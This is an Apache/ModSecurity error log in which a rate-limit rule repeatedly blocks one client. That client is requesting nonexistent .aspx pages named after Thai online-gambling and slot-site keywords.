[Tue Jan 27 16:09:00.564141 2026] [:error] [pid 7454:tid 7525] [client 51.161.86.195:52098] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXhynJltCoZEfMmfl8D9pgAAAIk"]
[Tue Jan 27 16:09:03.026503 2026] [:error] [pid 48446:tid 48484] [client 51.161.86.195:52120] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXhyn8DRSaZ8F8aaLxlpoQAAAcc"]
[Tue Jan 27 16:09:03.108506 2026] [:error] [pid 48445:tid 48466] [client 51.161.86.195:52104] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXhynxFh_QNUhZ0Hkze5kwAAAZE"]
[Tue Jan 27 16:09:03.816948 2026] [:error] [pid 48412:tid 48432] [client 51.161.86.195:52136] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhyn3bJMfAKlln88JHFIgAAAVI"]
[Tue Jan 27 16:09:04.132610 2026] [:error] [pid 7454:tid 7517] [client 51.161.86.195:52140] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sll%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyoJltCoZEfMmfl8D9qwAAAIE"]
[Tue Jan 27 16:09:04.943792 2026] [:error] [pid 48662:tid 48683] [client 51.161.86.195:52154] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aXhyoOD8iESUP9uRiRPVIAAAAo8"]
[Tue Jan 27 16:09:06.120308 2026] [:error] [pid 48662:tid 48668] [client 51.161.86.195:49970] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sll%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyouD8iESUP9uRiRPVIQAAAoA"]
[Tue Jan 27 16:09:06.521689 2026] [:error] [pid 7561:tid 7566] [client 51.161.86.195:49960] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXhyorXGI6mgvHQqkXyzZgAAAMI"]
[Tue Jan 27 16:09:06.765310 2026] [:error] [pid 7453:tid 7499] [client 51.161.86.195:49984] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXhyohfsyA2ws_ADquhouAAAAEo"]
[Tue Jan 27 16:09:07.200624 2026] [:error] [pid 48631:tid 48650] [client 51.161.86.195:49988] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aXhyoyN5eesHzEogX0wfnwAAAlE"]
[Tue Jan 27 16:09:07.881803 2026] [:error] [pid 48528:tid 48538] [client 51.161.86.195:49994] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aXhyowOGRrquT9N7CZpWlwAAAgg"]
[Tue Jan 27 16:09:09.227705 2026] [:error] [pid 48662:tid 48677] [client 51.161.86.195:50006] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXhypeD8iESUP9uRiRPVIwAAAok"]
[Tue Jan 27 16:09:09.329249 2026] [:error] [pid 41780:tid 41786] [client 51.161.86.195:50016] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXhypVvu-XLQ0TaZ4FHuCgAAAQQ"]
[Tue Jan 27 16:09:09.541000 2026] [:error] [pid 48445:tid 48473] [client 51.161.86.195:50024] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXhypRFh_QNUhZ0Hkze5mAAAAZg"]
[Tue Jan 27 16:09:09.816477 2026] [:error] [pid 7561:tid 7581] [client 51.161.86.195:50028] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXhypbXGI6mgvHQqkXyzaAAAANE"]
[Tue Jan 27 16:09:11.398595 2026] [:error] [pid 41780:tid 41784] [client 51.161.86.195:50042] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXhyp1vu-XLQ0TaZ4FHuDQAAAQI"]
[Tue Jan 27 16:09:11.730187 2026] [:error] [pid 7561:tid 7585] [client 51.161.86.195:50056] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXhyp7XGI6mgvHQqkXyzagAAANU"]
[Tue Jan 27 16:09:11.830415 2026] [:error] [pid 48528:tid 48531] [client 51.161.86.195:50054] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXhypwOGRrquT9N7CZpWmAAAAgE"]
[Tue Jan 27 16:09:13.688494 2026] [:error] [pid 7454:tid 7519] [client 51.161.86.195:50066] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXhyqZltCoZEfMmfl8D9twAAAIM"]
[Tue Jan 27 16:09:13.727521 2026] [:error] [pid 48446:tid 48500] [client 51.161.86.195:50074] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXhyqcDRSaZ8F8aaLxlptgAAAdY"]
[Tue Jan 27 16:09:14.898454 2026] [:error] [pid 7453:tid 7490] [client 51.161.86.195:50076] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXhyqhfsyA2ws_ADquhovwAAAEE"]
[Tue Jan 27 16:09:15.464652 2026] [:error] [pid 48528:tid 48546] [client 51.161.86.195:54164] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aXhyqwOGRrquT9N7CZpWmgAAAhA"]
[Tue Jan 27 16:09:15.740921 2026] [:error] [pid 7453:tid 7497] [client 51.161.86.195:54168] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXhyqxfsyA2ws_ADquhowQAAAEg"]
[Tue Jan 27 16:09:17.236085 2026] [:error] [pid 41780:tid 41803] [client 51.161.86.195:54176] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aXhyrVvu-XLQ0TaZ4FHuEgAAARU"]
[Tue Jan 27 16:09:17.483126 2026] [:error] [pid 48662:tid 48681] [client 51.161.86.195:54186] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aXhyreD8iESUP9uRiRPVKwAAAo0"]
[Tue Jan 27 16:09:17.874731 2026] [:error] [pid 48528:tid 48544] [client 51.161.86.195:54196] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXhyrQOGRrquT9N7CZpWmwAAAg4"]
[Tue Jan 27 16:09:19.327463 2026] [:error] [pid 7453:tid 7508] [client 51.161.86.195:54198] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXhyrxfsyA2ws_ADquhoxAAAAFM"]
[Tue Jan 27 16:09:19.418745 2026] [:error] [pid 7453:tid 7507] [client 51.161.86.195:54200] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aXhyrxfsyA2ws_ADquhoxQAAAFI"]
[Tue Jan 27 16:09:21.339438 2026] [:error] [pid 48445:tid 48466] [client 51.161.86.195:54226] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXhysRFh_QNUhZ0Hkze5owAAAZE"]
[Tue Jan 27 16:09:21.418948 2026] [:error] [pid 48412:tid 48434] [client 51.161.86.195:54236] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXhysXbJMfAKlln88JHFKQAAAVQ"]
[Tue Jan 27 16:09:21.986697 2026] [:error] [pid 7561:tid 7575] [client 51.161.86.195:54212] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhysbXGI6mgvHQqkXyzcgAAAMs"]
[Tue Jan 27 16:09:24.756941 2026] [:error] [pid 48662:tid 48672] [client 51.161.86.195:54246] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXhytOD8iESUP9uRiRPVMwAAAoQ"]
[Tue Jan 27 16:09:26.967827 2026] [:error] [pid 48662:tid 48677] [client 51.161.86.195:56232] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXhytuD8iESUP9uRiRPVNgAAAok"]
[Tue Jan 27 16:09:27.111497 2026] [:error] [pid 48631:tid 48642] [client 51.161.86.195:56246] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhytyN5eesHzEogX0wftAAAAkk"]
[Tue Jan 27 16:09:29.440893 2026] [:error] [pid 7454:tid 7536] [client 51.161.86.195:56258] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXhyuZltCoZEfMmfl8D9wgAAAJQ"]
[Tue Jan 27 16:09:31.794270 2026] [:error] [pid 7453:tid 7506] [client 51.161.86.195:56272] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXhyuxfsyA2ws_ADquhpFQAAAFE"]
[Tue Jan 27 16:09:34.846634 2026] [:error] [pid 48445:tid 48458] [client 51.161.86.195:56286] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXhyvhFh_QNUhZ0Hkze5sQAAAYk"]
[Tue Jan 27 16:09:38.266043 2026] [:error] [pid 48412:tid 48432] [client 51.161.86.195:33636] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhywnbJMfAKlln88JHFLwAAAVI"]
[Tue Jan 27 16:10:41.554366 2026] [:error] [pid 7561:tid 7580] [client 51.161.86.195:52166] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhzAbXGI6mgvHQqkXyzvAAAANA"]
[Tue Jan 27 16:10:42.681762 2026] [:error] [pid 7561:tid 7576] [client 51.161.86.195:52960] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aXhzArXGI6mgvHQqkXyzvgAAAMw"]
[Tue Jan 27 16:10:44.695945 2026] [:error] [pid 7454:tid 7528] [client 51.161.86.195:52176] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aXhzBJltCoZEfMmfl8D95AAAAIw"]
[Tue Jan 27 16:10:47.982445 2026] [:error] [pid 48662:tid 48675] [client 51.161.86.195:41316] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa678.aspx"] [unique_id "aXhzB-D8iESUP9uRiRPVYwAAAoc"]
[Tue Jan 27 16:10:50.096680 2026] [:error] [pid 7454:tid 7524] [client 51.161.86.195:41324] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sll%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhzCpltCoZEfMmfl8D96AAAAIg"]
[Tue Jan 27 16:10:50.297569 2026] [:error] [pid 7454:tid 7521] [client 51.161.86.195:41328] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aXhzCpltCoZEfMmfl8D96QAAAIU"]
